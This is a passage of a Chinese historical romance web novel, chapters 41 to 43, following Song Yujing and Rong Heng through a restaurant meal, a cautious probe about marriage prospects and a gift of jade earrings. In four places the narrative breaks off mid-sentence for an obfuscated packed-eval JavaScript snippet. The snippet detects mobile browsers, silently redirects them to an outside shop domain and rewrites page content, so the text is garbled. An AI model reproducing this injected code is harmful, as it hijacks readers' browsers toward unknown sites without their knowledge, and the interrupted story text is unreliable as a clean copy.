诸如天气转冷,街边树叶枯落,或是先前买的玉石,去掉石质部分,果然如她所言,是块莹润的透水白玉,又问她雕刻成什么样子为好。 指尖点过纸上清朗的字迹,最后停在那句明日是否有空到临江楼小聚。 宋予静犹豫许久,看了眼已经结痂的食指,终究还是派人去传信给容珩,她答应赴约。 她将信笺重新装回信封里,打开紫檀木盒,里面放着厚厚一沓信,最上面一封是容珩昨日送过来的。 又加放了封信进去,信封恰好与盒子口边缘齐整。 宋予静吩咐侍女再去找个新木盒,转身回来,瞥见梳妆台上的耳坠,微微一愣。 她摸着耳坠垂下的圆润珍珠,又摸摸光秃秃的耳垂,指尖无意识地捏紧珍珠。 * 容珩一向都会比约定的时候早到,可当宋予静到了临江楼,伙计推开雅间的屋门,里面空空如也,连个人影都没有。 “姑娘?”伙计疑惑出声,“您不进去吗?” 她反应过来,随口应了两声,进屋先去看刻漏,发现才巳时正,竟然比约好的午时初足足提前了半个时辰。 “先送两碟糕点和一壶茶。” 伙计应声退了出去,顺道关上门。 宋予静走到窗边,俯视下方的河面,天色阴沉,水面看上去灰蒙蒙,两边的柳树叶子几乎快要掉光了,落在水里。 听见屋门打开的声音,她随口道:“茶和点心放在案几上就好,没其他的事了,你可以走了。” “姑娘当真没有其他吩咐了?” 清润声音里含着明显的笑意,她一怔,立即转身,果然看见容珩白衣胜雪,雅致眉眼间笑意点点,端起一碟糕点朝她走来。 “我以为是酒楼的伙计。”宋予静讪笑两声,“没想到你来的这么早。” “你也到的很早。”容珩同样站在窗边,看着她,笑意消失,眉头紧锁,视线下移,直盯着她的手,“伤好了吗?” “快好了。”她举起手,“等血痂脱落,再擦几天药,就能彻底痊愈了。” 容珩仍紧皱眉头,捧住她的手,低头细看。 他的掌心温暖,凑近时,温热的呼吸若有若无地吹落在指尖,生出一股难言的痒意。 她一瞬间想蜷起手指,无意识地伸出拇指,想挠一挠发痒的指尖。 “别动。”容珩立时握住她的手指,温声叮嘱,“不要轻易去抠血痂,会出血,还很容易留疤。” 宋予静顺着他的话头:“嗯,我知道,就是有点痒。” “痒的话,大概是伤口在痊愈。”他温声哄道,“乖,稍微忍一下。” 他的语气温柔得像是在哄不懂事的孩童,她挠挠脸颊,小声嘀咕:“我又不是小孩子了,干嘛这么说话。” 说完,她用另一只手勾起他的衣袖,抓在手里。 梦是梦,现实是现实,宋予静还不至于将两者混淆。 但她还是忍不住盯着他的双眼,含着清浅笑意,而不是冷若冰霜,更不会淡漠疏离。 “怎么了?” 她摇摇头。 有一段日子没见了,虽然一直互通信件,但她每次都只能简单地写半张纸,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201622|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里比得上亲眼相见,亲口与他相谈。 一直讲到酒楼侍女布菜完毕,宋予静这才喝了大半杯清水,润润有些干渴的嗓子,又微微屈起食指,虚握住筷子。 她扫了眼桌上色香味俱全的菜肴,刚伸出筷子,面前忽然出现一双褐色筷子尖,夹着一块糖醋里脊。 “你不喜欢?”见她迟迟不动,容珩往回收起筷子,往桌上一扫,“你想吃哪个菜,我帮你夹。” “就刚才的糖醋里脊。” 容珩重新夹起一块里脊肉,递到她的唇边。 宋予静低头一咬。 临江楼的厨子手艺不错,里脊肉炸得酥软适中,酸甜得宜,巧妙融合,令人胃口大开。 有了第一筷,后面再吃容珩夹的菜,她心里的羞赧少了很多。 倒是容珩一直在给她夹菜,自己都没吃几口。 瞧见他又夹起一颗肉丸子,宋予静连忙阻止:“我已经吃饱了。” “真的?” 她认真点头。 容珩这才放下公筷,随意地往碗里夹了几筷子的菜。 左右没事做,宋予静单手托腮,视线不由自主地落在他的身上,嘴比脑子更快:“你对其他人也这么好吗?” 话一出口,她自觉失言,撇开盯着他的视线,胡乱道:“对不起,你就当我刚才什么没说。” “没有。”容珩缓声开口,声音坚定得如同承诺,“我只对你一个人好。” 宋予静霎时抬头看向他。 容珩认真注视她,眼中蕴着一汪温柔春水。 耳尖蓦地生出一丝热意,朝脸颊脖子蔓延,她揉捏滚烫的耳垂,张开口想说些什么,又闭上,最后只憋出一个“嗯”字。 幸好容珩说完那句话后,转头用膳。 宋予静松了口气,揪紧衣角,不敢再像之前那样盯着他,脑海里慢慢浮现认识容珩以来的点点滴滴。 不知不觉中,她竟然与容珩有了那么美好深刻的回忆。 待用过午膳,因还要回府,两人没有久坐,一起离开雅间。 下到一半的楼梯,宋予静往腰间一摸,“诶?我的荷包呢?” 容珩同样停下,“会不会落在雅间了?” “应该是,我回去找找。” “我跟你一起回去找。” “不用。”她笑了笑,“很快的,你先去结账。” 容珩只好先下楼。 宋予静跑回雅间,在桌子底下翻出一个荷包,拍干净上面的灰尘,重新挂在腰间。 担心容珩等太久,她急匆匆下楼,看见站在柜台前等候的身影,她扬起笑容:“我找到荷包了。” 容珩闻声转过来,朝她快步走来。 宋予静又往下踩了一级楼梯,脚下忽然一滑,整个人往前跌去。 “小心!” 想象中摔在地面的疼痛没有出现,她跌进一个坚实有力的胸膛里,他一手箍住她的腰,一手揽住她的肩膀,将她紧紧抱在怀里。 亲密无间。 闻到他身上传来的清雅淡香,她倏忽想起梦中被他亲密揽在怀里的少女,一直被强行压下的困惑在此时得到解开。 或许,她想,容珩与其他人是不一样的。 41. 试探 “没事吧?” 容珩关切的声音自头顶传来,揽着她往旁边一避,避开楼梯口的人群。 “不必着急,我会等你的。” 酒楼前堂里人来人往,嘈杂喧闹,宋予静不敢让他一直抱着,低头从他的怀里退出来,绞弄手指。 “我……我没事。” “有没有扭到脚?”容珩细心询问,“或者有没有觉得哪里不舒服?” “没……没有。” 她低头揪住衣袖口,躲开他关心的目光。 “公子,姑娘,对不住对不住。”掌柜的跑过来,连声道歉,“楼梯上洒了点汤,没来得及扫干净,今天这事全是我们的过错,下次您二位来,我们一文不收。” 容珩冷声回绝了一句“不用”,转头温声对她说:“我们走吧。” 宋予静应了声好,随着他往外走。 以前被强压下去的复杂心绪一股脑地全冒出来,乱做一团,她压根不敢看旁边的容珩,只管低头往前,跨过门槛时,还被绊了一下。 “小心。” 容珩伸手扶她,刚碰上她的手臂,她迅速缩回手。 “我……没……没事。” 宋予静结结巴巴地说完,抬头见容珩保持伸手的姿势不动,挠挠手心,想勾住他的衣袖,伸到一半,又颓然垂下。 “没事便好。”容珩收回手,目光微暗,“我送你回去。” “……嗯。” 回去的路上,她直盯着前方地面。 之前梦中场景不停地在脑海里打转,偏偏梦到的人活生生地站在她的身边,还离得那么近,他垂下的广袖时不时碰到她的裙摆。 她按了按心口,努力放松下来。 快回到公主府的侧门处时,宋予静率先停下脚步,低头揪住衣袖,揉得衣角皱成一团。 按理,她该与他道别,目送他离开,可她偷偷瞄了他几眼,对上他温和含笑的目光,溜到嘴边的话霎时一变:“你可以抱我一下吗?” 容珩微微睁大双眼,难以置信地望着她。 话已出口,她不想再改,拍拍滚烫的脸颊,重复一遍:“可以吗?” “……当然可以。”容珩迟疑开口,“只是你为什么忽然要我这样做?” “我以后会告诉你原因。” 不管会不会真的告诉他,宋予静先往前两步,站在他的面前,咽了口唾沫,飞快地眨眨眼,强逼自己望着他。 容珩也在看她,抬起双手,轻轻地揽住她的腰,温柔而不由她逃离地抱住她。 贴合的瞬间,她听到自己的心再度狂跳起来,又听见另外一道沉稳有力的心跳,似乎在慢慢加快跳动。 咚——咚—— 他也在紧张吗? 真论起来,她以前抱过他几次,那时候的他,也会像她现在一样紧张吗? 她不知道。 “你最近……不开心吗?”容珩低沉的声音响起,“有什么心事的话,可以讲给我听,我一定会帮你。” 宋予静靠在他的胸口,感觉到随着他说话而微微加快的心跳,半真半假地回答:“没有不开心,只是因为受伤,要忌口,很多好吃的都吃不了。” “再过两天,你的伤应该就会彻底痊愈,我再陪你去品尝美食。”他笑问,“江南菜怎么样?府里最近新进了一名江南的厨子,厨艺高超,做得一手地道的江南菜。” “不要江南菜,我在江南都吃了快十年。” 容珩清润嗓音里的笑意略深:“好,我让他们做些京城本地的美食。” 宋予静悄悄抓住他的衣袖,指腹擦过上面的暗纹,待的越久,萦绕在鼻尖的清雅淡香渐渐变浓。 她轻轻挣扎了一下,往后退了两步,退离他温暖的怀抱。 “咳……”她低着头,“那、那我先回去了。” “等等。”容珩伸手,勾起她散乱在脸边的几缕发丝,挽至耳后,“头发乱了。” 他的指尖擦过脸颊,轻轻碰过耳垂,如蜻蜓点水,一触即离。 完了完了,他肯定发现她现在的脸和耳朵烫得不行,说不定还会看到她满脸红晕。 宋予静在心里哀嚎不已,兀自攥紧手,浑身僵硬地站着,压根不敢乱动。 “你讨厌戴耳坠?” 容珩的问话拉回她飘乱的思绪,她捏了捏光秃秃的耳垂,“没有,只是有时候不方便,那些耳坠还是很漂亮的。” “我记住了。”容珩点点头,“两日后,我再来找你。” 她连忙应了声好,转身往回跑。 一路不停歇地跑回瑞雪居,宋予静大口喘气,接连灌了两杯冷水,气息稍微稳定些许,可一想起容珩抱住她时的感觉,刚压下去的热意又有升腾的迹象。 她赶紧又灌了半杯冷水,双手用力捧着茶杯,试图用冰凉的瓷杯驱散热意。 容珩是特别的。 他跟兄长,跟其他人都不一样。 面对他的时候,她不会排斥他的碰触,反而会因此脸红心跳,甚至还想他多抱一抱她…… 她呜的一声捂住脸,掌心和脸颊一样滚烫,烫得浑身微微发颤。 宋予静使劲摇头,将刚才的奇怪念头甩出脑海里。 难道这就是话本里写的喜欢吗? 应该是的,她恍惚地想,可是容珩也喜欢她吗? 这样的念头刚冒出来,她浑身一激灵,仿佛突然身处冰天雪地之中,呼啸寒风压下全部热意。 万一……万一容珩不喜欢她呢?又或者他喜欢别的女子呢? 在京城众多世家公子中,他的样貌家世、品行才能都是顶尖的,有几次赴宴的时候,她听到不少贵女称赞他。 宋予静按住心口,感受到掌心下渐渐平缓的心跳。 至少要先试探一下,看容珩是否有心仪的女子,如果有,而且还不是她的话…… 她猛地闭上眼睛,手紧握成拳,指甲深深掐入掌心,刺痛尖锐,她不愿意也不敢想象那样的场景。 还是先想一想怎么向容珩套话,又不会暴露自己的异样。 一连想了两天,夜里还悄悄地躲在被窝里练过几次,临到约好和容珩见面的这天,宋予静托住下巴,拧眉盯着面前一溜摆开的衣裳。 “姑娘,您还没有决定好吗?”冬雪看了看刻漏,“快申时初了,您不是还要出门吗?” 她一惊,指向最开始选中的那一件银红色衣裳,匆匆转到屏风后,迅速换好,又对着铜镜检查发髻。 瞥见匣子里的耳坠时,宋予静微微一愣,犹豫片刻后,依旧没有拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221402|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来戴上。 急匆匆赶到约定好的地方,容珩果然提前到了。 “等很久了吗?”她一边抚按胸口顺气,一边解释,“出门前耽搁了一阵子。” “不久,况且等你的话,不管等多久,我都会一直等下去。” 宋予静一怔,手恰好停在心口,心跳一瞬间变快,抬头看着他。 容珩神色坦然自若,深邃眼眸里蕴着温和笑意,仿佛只是随口一说。 不知道从什么时候开始,他偶尔会说出一些像刚才那样奇怪的话语,偏偏语气神情又很坦然。 她暗自回想,好像是上个月一起做了花灯之后? 一时半会儿想不出原因,况且今日还有更重要的事要做,宋予静不得不暂时压下疑惑,笑道:“我们先去看看玉石,好不好?” “好。” 闲逛了半天,怀着一点私心,她引着容珩走到了清水桥。 天气转冷,桥上来往的行人很少,桥下河水流淌,还未结冰。 她扶住栏杆看了几眼,眺望远处河流,深吸一口气,下定决心,不再犹豫。 “我之前听三殿下说,”她转过身,缓缓开口,“你好像在议婚……” “我没有议婚。”容珩骤然开口打断,声音微沉,“之前给你写过信,我在信中已经说了,皇后娘娘在为三皇子议婚,是三皇子弄错了。” 他顿了顿,直视她的双眼,“难道你没有看我的信?” 被打断了一下,提前准备好的话一时半会儿用不上,又见他眉间紧蹙,宋予静连忙解释:“你写的信,我都很认真地看了,刚刚是一时口误,说错了。” “那你原本是想说什么?” 她别开头,盯着下方粼粼水面,拇指轻轻抚过食指指腹,上面的血痂开始脱落,伤口愈合,有些痒。 “下个月是你的生辰,应该是要满十九岁了。”她舔舔干燥的唇,尽量控制语气轻松平稳,听不出异样,“即使这次没有议婚,以后总归是要的,我就想问问……你有没有中意的议婚人选。” 越往后说,她的声音越低。 宋予静摸不准容珩有没有察觉异常,忍住心口的酸涩,努力扬起笑容:“有吗?” 容珩定定地看着她,不答反问:“有的话,如何?没有,又如何?” “有的话,我就要和你保持距离了。” 这是实话。 如果容珩真的有喜欢的女子,她只能与他客气规矩地来往,日渐疏远。 宋予静掐了掐手心,不敢再多问,免得暴露自己的不对劲。 容珩一直一言不发,过了许久,终于开口,说出两个字:“没有。” “真的?”她立即追问,“真的没有?” 容珩盯着她:“你很开心?” 开心,也不开心。 宋予静的心情非常复杂,他没有喜欢的女子,那她暂时不必疏远他,但也意味着他不喜欢自己。 “那你呢?”容珩低声问,“你有心仪的郎君吗?” 要告诉他吗? 心里刚冒出这样的想法,她瞬间否认,不能,至少不能现在告诉他。 她还没有做好准备,贸然说出来,只怕她与他连朋友都做不成。 于是,她说:“没有。” 42. 拖延 宋予静担心自己一时控制不住表情,暴露出不对劲,便在清水桥与容珩分开,满怀复杂心绪地返回公主府。 刚拐过转角,旁边猛地蹿出来一个黑影,惊得她下意识拔出藏在靴子里的匕首,看清对方隐在披风兜帽下的脸后,她硬生生地刹住手里的匕首。 “殿下!”她压住怒火,“您这是在做什么?!” “表姐,我错了。”三皇子双手合十,可怜兮兮地开口,“你先带我进去躲一躲,好不好?” 宋予静的视线往他身后左右一扫,没有看到禁军和内侍的影子,不由狐疑地打量对方,“你一个人溜出来的?” 三皇子抓紧兜帽,心虚地点点头。 “那你赶紧回宫,免得舅舅他们担心。” “我不回去!”三皇子干脆扒住墙角,“一回宫,母后又要拉着我去和一大群贵女喝茶赏花,这都冬天了,还有什么花好看的。” 宋予静心说她们未必也想去,只是皇后的命令不得轻易违抗。 “那你现在打算怎么办?”她无奈道,“总不能一直待在宫外不回去吧?” “反正我现在不回去。” 她叹了口气,总不能由着三皇子在城里乱逛,万一到时候出了点什么事,绝对会在京城掀起一场风浪。 “先进去,放心,我不会让人去宫里通风报信。” “表姐真好!” 宋予静问过侍女,得知庆阳长公主在家,直接领着三皇子去了正院。 “娘。” 她唤了一声,拉出躲在后面的三皇子,一五一十地讲明事情经过,尔后,坐在旁边喝茶。 “你可以暂时留下来待一会儿。”庆阳长公主摇头叹息,“但必须在宫门关闭前回去。” 三皇子顿时垮了,蔫蔫地瘫靠在圈椅里,连侍女奉上的新鲜糕点都没动。 宋予静看着他,不知为何,竟有些感同身受。 她比三皇子还大了两岁,总有一日,父母或许也会催促她的婚事。 回想今日试探出来的答案,她暗暗长叹一声,扭头去看庆阳长公主。 “怎么了?”庆阳长公主似乎察觉到她的视线,疑惑道,“你看着我做什么?” “阿娘长得漂亮,我当然要多看几眼。” “油嘴滑舌。”庆阳长公主抿唇笑笑,“过来。” 宋予静走近,坐在母亲对面。 庆阳长公主指着桌上的图纸,“夏天的时候,我吩咐人去修缮你的县主府,重新刷漆刷墙,你抽空去看看,哪里不合心意,再叫工匠们改。” “为什么要翻新县主府?”她擦擦眼角,假装擦掉压根不存在的泪花,故作可怜,“娘,难道你要把我赶出公主府了吗?” “瞎说什么呢。” 庆阳长公主抬手戳了下她的脑门,又看了眼坐在旁边的三皇子,没再多说,把账册塞到她手里。 “没事做就看账册,后面怎么修缮布置,都由你自个儿做决定。” 宋予静哦了一声,扭头去看三皇子,见他仍然不愿意说话,也不打扰,低头看账册以及县主府的图纸。 还没看多少,屋外的天色渐渐变暗,侍女点起了灯。 “来人,去安排一队侍卫,护送三殿下回宫。”庆阳长公主说,“你该回宫了。” 三皇子只得起身,依旧一副有气无力的模样,朝庆阳长公主行礼:“侄儿告退。” “娘,我去送送表弟。” 快走到府门时,宋予静停下脚步,劝道:“表弟,你要是实在不想议婚,不如直接向舅母禀明实情,语气要诚恳真挚,为人父母,我相信舅母不会再逼你。” “多谢表姐。”三皇子总算打起点精神,“我会跟母后说的。” “嗯,路上小心。” 前面响起门房行礼的声音,宋予静扭头一看,唤道:“阿爹,您回来了。” 宋学士风尘仆仆地走进来,“你们这是在做什么?” 她含糊地讲了下经过,补充道:“殿下正准备回去。” “姑父。”三皇子拱手,“我先告辞了。” 宋学士略略点头,回头看了眼在侍卫护送下离开的三皇子,又看向女儿,略显迟疑地问:“你和三殿下关系很好?” “还成吧,之前领着三殿下在城里逛过几次。”宋予静毫无察觉,拧眉上下看看父亲衣摆和靴子底的泥土,“爹,您去了哪里?怎么满身都是灰尘和泥?” 宋学士若有所思地点点头,“我和同僚去了趟郊外。” 提及公事,她自觉不再多问,目送宋学士去换衣裳后,走回正屋,犹豫片刻,问:“娘,您刚才是不是想说什么?” “你们先出去。” 屋里的侍女迅速退出去。 庆阳长公主拉住她坐在旁边,轻轻拍了拍她的手,“我们回到京城也有大半年了,你有没有遇到一些合眼缘的郎君?” 容珩的身影霎时浮现在脑海里,宋予静微垂下脑袋,“娘,您为何忽然这么问?” “你不是问为什么要修缮县主府吗?”庆阳长公主耐心回答,“我想着到时候你成了亲,不必住在夫家,自个儿和仪宾住在县主府,轻松自在,不用过分操劳。” 她紧紧地揪住衣袖角,指甲不停抠弄上面的折枝莲绣纹,揉成皱巴巴的一团。 旁边忽然斜伸出一只手,温柔地握住她的手指,耳边紧接着响起庆阳长公主无奈而关心的声音。 “我只是问问你的意思,又没催你现在就去找个夫君回来,何必跟自己的手过意不去,手指的伤才刚好,难道你想留疤吗?” “……娘。”宋予静终于抬起头,放软声音撒娇,“我还想再多玩两年呢,您可不能像皇后娘娘催三皇子那样,不然我就……我就离家出走!” “哼,离家出走,亏你说得出口。”庆阳长公主轻轻拧了下她的脸,“都随你,即使不嫁人都成,只要自己过得开心,左右你也有县主的年俸,我再给你搭点嫁妆,总归能保你一辈子衣食无忧,平安顺遂。” 听到母亲如此周全体贴地为自己打算,她眼眶微酸,连忙抱住庆阳长公主,依偎在母亲的身边。 “阿娘真好。” “……我可以进来吗?”宋学士外面敲敲门,询问的声音远远传来,“你们说完话了吗?” 宋予静飞快地揉了下眼睛,直接跑过去打开屋门。 宋学士换了身干净衣裳,一边往里走,一边问:“跟你母亲在说些什么,说了这么久。” “不能告诉阿爹。”她捂住嘴,含糊不清的声音从指缝里漏出来,“我不能说。” 宋学士笑了笑,没有继续追问。 等到宋归鸿回来,一家人用过晚膳,宋学士看着笑笑闹闹一起离开的儿女,转身走进里间。 庆阳长公主坐在梳妆台前,取下发簪,解开发髻,乌黑长发垂在身后。 他走过去,拿起台上的木梳,轻缓地替妻子梳顺长发,问:“你之前在跟静儿聊什么,还特意将侍女都遣出去。” “我在问她有没有心仪的郎君。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254807|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发间的梳子猛地一顿,庆阳长公主忍住笑意,果然听到宋学士咬牙切齿地问:“她看上哪个臭小子了?!” “放心,她暂时还没看上谁。”庆阳长公主往后拍拍丈夫的手臂,示意他继续梳,“反正找不找得到,都由她开心便好。” “这也是。”宋学士松了口气,一路梳到发尾,忽然问,“你觉得静儿和三皇子怎么样?” 庆阳长公主难得一惊:“你为什么会有这样的想法?” “我觉得静儿似乎挺喜欢和三皇子一起玩。”宋学士捏捏胡子,“而且圣上和皇后都挺喜欢静儿的。” “那是因为兄长和嫂嫂在用看外甥女的目光看静儿。”庆阳长公主站起来,“如果用看儿媳妇的目光来看,未必会满意,况且皇子妃不是那么容易做的,你看嫂嫂最近相看的那些贵女,我可不愿意让静儿去吃苦。” “这倒也是,是我思虑不周了。” “别想太多了。”庆阳长公主挽住他的手臂,“最重要的是静儿喜欢,其他都不重要。” 宋学士颔首赞同:“没错。” * 试探的结果喜忧参半,但总归知道容珩还没有喜欢的女子,她一时半会儿还不用远离他。 可是,要怎么才能让容珩喜欢上她呢? 宋予静双手撑住下巴,盯着面前的白玉珩。 她倒是想过直接问容珩喜欢什么样的女子,但那样意图太明显了,也想过不管不顾地直接向他说出自己的心意,又怕吓到他,惹他不快,到时候就真的连朋友都没得做。 唉,真愁人。 “姑娘。”冬雪快步走进来,“容世子派人送了信。” “快给我!” 宋予静急忙接过信封,挥手让冬雪等人退出去后,方才小心翼翼地撕开信封。 一眼扫完浣花笺上的内容,没有看到什么他要议婚的字眼,她松了口气,从头到尾细看一遍。 内容很简单,他说找到一家新的酒楼,邀她一起去看看,末尾还说有件礼物要送给她。 礼物? 最近又没有什么重要的节日,她的生辰也在下个月,还早的很,他无缘无故地送她礼物做什么? 难不成是他…… 打住,不能乱想。 宋予静掐了掐脸颊,仔细放好信件,拐到里间翻看衣裳。 临到约好见面的这天,她在酒楼侍女的引路下,走进雅间。 容珩正坐在窗边,闻声回头,露出笑容。 她习惯性往前快走了两步,瞧见他闲雅的仪态,猛地顿住,回想一番女官教的礼仪,迈着与往日截然不同的平缓贤淑步伐,慢悠悠地走过去。 “哪里不舒服吗?”容珩大步朝她走来,担忧询问,“是不是之前在临江楼扭到脚了?” 宋予静一噎:“……没有。” “没有受伤便好。” 容珩紧皱的眉头瞬间松开,与她走到窗边坐下。 案几上放着几碟糕点,都是她喜欢的口味。 宋予静扫了一眼,没拿,挺直腰背,双手交叠,放在膝上,控制语气平缓:“我想考一考你。” 容珩倒了一杯茶,放在她的面前,说:“好,你问。” “咳……”她清清嗓子,压住耳尖一丝的热意,“你有没有发现今天的我跟以前不一样的地方?” 容珩微微一怔,视线落在她的发髻,缓缓往下移动,一分一寸地仔细看过。 “有美一人,”他说,“宛若清扬。”① 43. 耳坠 他在夸她好看。 耳尖的热意霎时变成一团,一路漫到脸上,都不用照镜子,她也能猜出现在自己的耳朵肯定很红。 宋予静低下头,抓起背后的长发,挽到胸前,欲盖弥彰地遮住耳朵和脸颊。 “谁、谁问你这个了……我是想……想问你有没有发现……发现……” 卡了半晌,她愣是没能找到合适的词,又不肯认输,干脆乱说:“反正你答错了,我不会给你奖励的。” “奖励是什么?” 哪有什么奖励,就连刚才的问题都是她一时兴起说出来的,更不会有什么正确答案。 脸上热意消退些许,宋予静嘴硬道:“不告诉你。” 幸而容珩笑了笑,并未多问。 她忍不住问:“你也会这样夸别的女子吗?” 一想到那样的场景,她有点微妙的酸,心口不上不下地憋着股闷气,不愿低头,直盯着他。 “不会。”容珩没有避开她的视线,“我只会夸你。” 宋予静立即笑起来,又觉得要矜持一些,轻咳两声,仍压不住话里的笑意:“你在信里说要送我礼物,是什么?” “不急,等吃过午膳再说。”容珩顿了顿,视线匆匆掠过她的耳垂,上面依旧空落落的,“你应该会喜欢。” 她一口应承:“你送给我的,我一定喜欢。” “都还没有亲眼看过,万一不合你的心意呢?”容珩抿唇笑笑,“你不会想说好话骗我吧?” 宋予静立即否认:“绝对不会。” 正说着,酒楼侍女在外面敲门,得到应允后,进屋奉上糕点和茶水,又躬身退出去。 她来回看了几遍,视线最后停在中间那一碗乳白色的点心,疑问:“这是酥酪?” “嗯。”容珩拿起瓷勺,舀了半勺,“桂花酥酪,用你之前摘下来送给我的桂花做的。” 他伸过勺子,“尝尝。” 乳白色的酥酪上面淋了一层桂花蜜水,浅金色蜜水沿着侧面流淌,几粒金红色的桂花黏在酪面。 她低头一咬。 入口绵软顺滑,牛乳甜香伴有桂花清甜,在舌尖跳跃,微一用力,一路直滑到肚子里。 “怎么样?好吃吗?” 宋予静连连点头:“好吃。” 容珩笑了笑,又舀起一勺递到她的面前。 接连吃了半碗后,她瞅瞅一口都没吃的容珩,抓起勺子,从另外一碗还没吃过的桂花酥酪里舀起半勺。 “你也尝尝,不能光我一个人吃。”她往前倾身,“虽然对你来说可能会有点甜,不过真的很好吃。” 容珩看看她,低头一口全部吃完。 见他如此给面子,宋予静油然而生一种满足感,又舀起一勺递到他的唇边。 他犹豫了一下,顶不住她期待的目光,近似乖巧地吃完。 一碗桂花酥酪不算多,宋予静担心他受不住甜味,都是半勺接半勺地喂,一直喂到最后碗里只剩零碎小块,飘在浅浅的蜜水里。 她满意地放下碗,抬头看他,“你还想……” 瞧见容珩嘴角的一点乳白色,剩下的问话消失在舌尖。 “怎么了?”容珩疑惑反问,“你刚刚想说什么?” “这里。”宋予静指着自己的嘴角,“你这里沾了点酥酪,应该是我刚才没喂好。” 容珩抬手摸摸嘴角,却将那一点酥酪摸得更碎,黏在下巴。 “诶,没擦干净。” 见他越擦越乱,他往常极少有过如此的仪态不雅,偏偏因她而起,她一急,往前倾身,伸手抚上他的嘴角。 “我来帮你。” 容珩一怔。 指腹柔软,按在嘴角,轻快地摸到下巴,随即离开,留下蜻蜓点水的微痒。 “你看。”她露出手指,上面粘着一点微湿的乳白色碎粒,“我帮你擦干净了。” 她靠得很近,双眼明亮澄净,蕴含笑意。 窗户没有全关,夹杂初冬寒意的风猛吹进来,吹动她垂在胸前的长发,几缕发丝飘拂过他的下颌,与残留温暖柔和的触感,生出一股难言的痒意。 容珩倏地握紧藏在袖子里的手。 “起风了。”宋予静转身关紧窗,重新坐回去,“夏天的话,吃冰酥酪好像也不错。” 他回神:“是,加冰消暑。” 案上糕点用得七七八八,酒楼侍女进来收拾干净,奉上新的一壶茶。 宋予静放下茶杯,满脸期待地问:“现在可以说你准备的礼物是什么了吗?” “可以。” 容珩从袖子里摸出一个紫檀木匣子,放到她的面前,却按住匣子盖,“你要是……不喜欢的话,直接说就好,不必顾及我。” “先看看嘛。” 他缓缓打开匣子,垂下眼帘,竟有些不敢看她,怕从她眼中看到失望。 雅间安静无声,容珩低垂眼帘,盯着指尖。 大概她是不喜欢吧。 “真漂亮!”宋予静欢快惊喜的声音骤然响起,“你从哪里得来的?” 容珩猛抬眼帘。 她的双眼亮晶晶,闪着细碎的光,比握在她手里的金丝白玉耳坠更耀眼。 “你当真……喜欢?” “当然啦!”她轻轻地碰了碰金丝桃花的花瓣,“咦?这个白玉好像有点眼熟?” “是你之前挑选的独山玉。”容珩勾起嘴角,“我见你喜欢,便雕琢出来,让制作耳坠的匠师再镶嵌进去,当作花蕊。” 宋予静惊声反问:“所以,这副耳坠其实是你亲手做的?” “勉强算吧。” 话音刚落,见她紧紧皱起眉头,容珩立即问:“怎么了?” 她虚虚地握住耳坠,盯着他的手,“雕琢玉器很费工夫和心思,你有没有受伤?” “没有。”怕她不信,他还特意将摊开两手手心,“你看,真的没事。” “虽然我很开心收到这副耳坠,但是你以后不用再亲手做了,万一受伤的话……”宋予静的眉间仍未舒展,略微停顿一下,抬眸直视他,“我会很心疼的。” 容珩一怔,缓声应道:“好。” 她终于又笑起来,晃了晃耳坠,咬唇小声问:“你能帮我戴上吗?” “什么?” “我说,你能帮我戴上耳坠吗?”她略微提高声音,脸上闪过一丝羞涩,又在找补,“你看耳坠这么漂亮,不戴的话太可惜,但屋子里没有镜子,我又好久没有戴过了,不熟练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272258|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋予静将耳坠放到他的掌心,再次问:“可以吗?” 容珩恍惚答应:“可以。” 尚未反应过来,他已经起身,走到她的身边坐下,听她讲一遍如何佩戴耳坠。 宋予静抓起长发,拢成一把,挽到胸前,露出右边的耳朵,双手搭在膝上,乖巧地看着他。 容珩盯着她莹润白皙的耳朵,捏紧一只耳坠,慢慢俯身靠近。 她的耳垂饱满圆润,是世人所说的有福之相,上面凝着一个细小的黑色小点,大约是耳洞。 他盯着看了一会儿,视线不由自主往下偏移,掠过纤细修长脖颈,停在银红色的衣领。 